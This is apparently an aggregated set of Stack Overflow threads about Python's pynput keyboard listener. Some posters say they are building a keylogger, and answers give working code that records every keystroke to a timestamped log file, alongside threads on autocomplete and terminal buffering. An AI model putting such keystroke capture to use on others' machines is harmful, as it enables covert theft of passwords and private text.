I'm trying to make a keylogger script on python 2.7, followed some instructions on how to do so but mine didn't produce any output when I try running it and pressed some keys. Any idea how to fix it or what am I missing on my code? :/
Here's the code:
import pynput
from pynput.keyboard import Key, Listener
def on_press(key):
print("(0) pressed".format(key))
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Related
I know how to get key input directly with the keyboard module but it needs a while loop around it specifically. if I use this in my code obviously it stops it in its tracks!
while True:
event = keyboard.read_event()
if event.event_type == keyboard.KEY_DOWN:
print(event.name)
Use a keyboard.listener in a non-blocking fashion (not in a with statement), as per the documentation:
from pynput import keyboard
def on_press(key):
try:
print('alphanumeric key {0} pressed'.format(
key.char))
except AttributeError:
print('special key {0} pressed'.format(
key))
def on_release(key):
print('{0} released'.format(
key))
if key == keyboard.Key.esc:
# Stop listener
return False
# ...or, in a non-blocking fashion:
listener = keyboard.Listener(
on_press=on_press,
on_release=on_release)
listener.start()
# execution immediately continues past listener.start()
When using the non-blocking version above, the current thread will continue executing. This might be necessary when integrating with other GUI frameworks that incorporate a main-loop, but when run from a script, this will cause the program to terminate immediately.
I'm building a rudimentary autocomplete for my work, and it was doing fine, until I ran into this problem.
See example
import threading
from pynput import keyboard
from pynput.keyboard import Controller
controll = Controller()
def on_press(key):
if(key == keyboard.Key.alt_l):
controll.type("RIGHT !!!")
if(key == keyboard.Key.delete or key == keyboard.Key.enter):
return False
def handleKey():
x = input('INPUT> ')
print(x)
handle = threading.Thread(target=handleKey)
handle.start()
controll.type("RIGHT !!!")
with keyboard.Listener(
on_press=on_press) as listener:
listener.join()
When you press alt, you will see the output with the wrong string;
It must be [2] RIGHT !, but it was pressed [2]ight
But note that this only happens with the method call inside the event.
Is this a known issue? Am I using it wrong? I'm really confused
I believe that only with python3 and pip3 install pynput, this will make the example work
Tested with Windows 10
I've had a similar issue when trying to press a key while listening to a key. By my experience it is next to impossible. I have even tried to use other libraries' press functions such as pyautogui and keyboard inside of the pynput on_press function.
def on_press(key):
if key = keyboard.Key.esc:
return False
else:
if len(words) > i:
# p = keyboard.KeyCode.from_char(words[i])
pyautogui.press(word[i]) // also used keyboard.press(word[i])
i += 1
else:
keyboard.Controller.press(keyboard.Key.space)
with keyboard.Listener(on_press=on_press, suppress=True) as listener:
listener.join()
I feel like since the press action and the listen action are in different threads the program has to finish one before the other. At least that is what I gathered as I also have not found a solution to this. I also tried putting the press line after the listener.join() like this:
def on_press(key):
if key != keyboard.Key.esc:
return True
with keyboard.Listener(on_press=on_press, suppress=True) as listener:
listener.join()
if len(words) > i:
# p = keyboard.KeyCode.from_char(words[i])
pyautogui.press(words[i])
i += 1
else:
keyboard.Controller.press(keyboard.Key.space)
However, this did not solve the issue either because the program finished after listening to one input and then pressing words[i] once.
Please let me know if you find something. However I may not be able to comment bc of low reputation.
I had a similar issue as well, and something like this worked for me (on Ubuntu 20.04):
from pynput import keyboard
import threading
from time import sleep
event_queue = []
event_to_callback = {
# put your own key-to-function mapping here
# keyboard.KeyCode.from_char('c') : deal_with_c
}
def process_events():
while True:
for c in event_queue:
event_to_callback[c]()
event_queue.clear()
sleep(0.2)
keyboard.Listener(on_press=lambda k: event_queue.append(k)).start()
threading.Thread(target=process_events, args=()).start()
This decouples the listener's thread from the controller's thread; any callbacks that invoke pynput.keyboard.Controller methods will now be executed on a separate thread, different from the one of the listener.
This has been keeping me up quite a bit. When using the Python pynput module with keyboard.Listener, whatever is typed whilst the keyboard is listening is printed out in Terminal after the keyboard Listener has stopped.
I've tried termios.tcflush(sys.stdout, termios.TCIOFLUSH) but it doesn't seem to clear the buffer and stop characters being printed into the Terminal window.
Any help massively appreciated! Script below -
import sys
from pynput import keyboard
import termios
global go_to_selection
def on_press(key):
global go_to_selection
if key != keyboard.Key.tab and key != keyboard.Key.shift and key != keyboard.Key.enter:
termios.tcflush(sys.stdout, termios.TCIOFLUSH)
go_to_selection = True
return False
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
if go_to_selection == True:
_user_choice = input('\r\nSelection: ')
print(' Chosen: '+ str(_user_choice))
Edit:
with keyboard.Listener(on_press=on_press, suppress=True ) as listener:
listener.join()
fixes this actually, but appears to cause a 1-2 second delay before the keyboard becomes responsive again. Is this expected?
Thanks!
Trying to build a key logger with pynput.
Took a look at Here, everything worked fine but not what I wanted, I wanted to save the output to a text file at the same time that the programs running.
I tried sys.stdout but it just dosent save it to the LogTXT.txt file.
Anyways, here's the code:
from pynput.keyboard import Key, Listener
import os
import atexit
import sys
file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt", os.O_RDWR|os.O_CREAT )
def on_press(key):
print('{0} pressed'.format(
key))
def on_release(key):
print('{0} release'.format(
key))
if key == Key.esc:
# Stop listener
return False
# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
sys.stdout = file
Try to use another way to do this instead of use the stdout,think it as another way:
from pynput.keyboard import Key, Listener
import time
fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file
def on_press(key):
print('{0} pressed'.format(key))
fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.
def on_release(key):
print('{0} release'.format(key))
fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
if key == Key.esc:
fp.write("End Press") # press esc.Exit the script
fp.close()
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
Some example of output in the file:
I have a problem with this keylogger program. It must write to a file but it doesn't do that. What is wrong?
The program must listen to the keyboard and write it to a file (before, there is a check if the file exists or not). But it doesn't write to the file, it only creates the file.
from pynput import keyboard
import os
if os.path.exists("prova3.txt") == True:
f = open("prova3.txt","a")
else:
f = open("prova3.txt","x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
First of all, make sure that you took note of the warning from the pynput docs:
Starting a keyboard listener may be subject to some restrictions on your platform.
If you are on a Mac like me, then you have to do this:
The process must run as root.
Your application must be white listed under Enable access for assistive devices.
For that second item, check these steps from a related SO post.
Now, for the actual file writing problem, one solution is to call f.flush() after calling f.writelines to ensure that data is actually written to the file. (see this related post for some explanation: what exactly the python's file.flush() is doing?). I am not familiar with pynput's underlying implementation, but the docs says it uses threads and that seems to affect File I/O. It's also good practice to call f.close() when you're done with the file.
from pynput import keyboard
if os.path.exists("prova3.txt"):
f = open("prova3.txt", "a")
else:
f = open("prova3.txt", "x")
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
f.flush()
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
f.flush()
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
f.close()
An alternative and a better practice is to use a with statement when writing to the file. That puts f and the pynput listener all in the same context. With this way, calling flush is not needed (but you still can if you want to).
from pynput import keyboard
with open("prova3.txt", "a") as f:
def on_press(key):
try:
f.writelines("///key [ {0} ] pressed ///".format(
key.char))
except AttributeError:
f.writelines("///special key {0} pressed///".format(
key))
def on_release(key):
f.writelines(["///key [ {0} ] released ///".format(
key)])
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()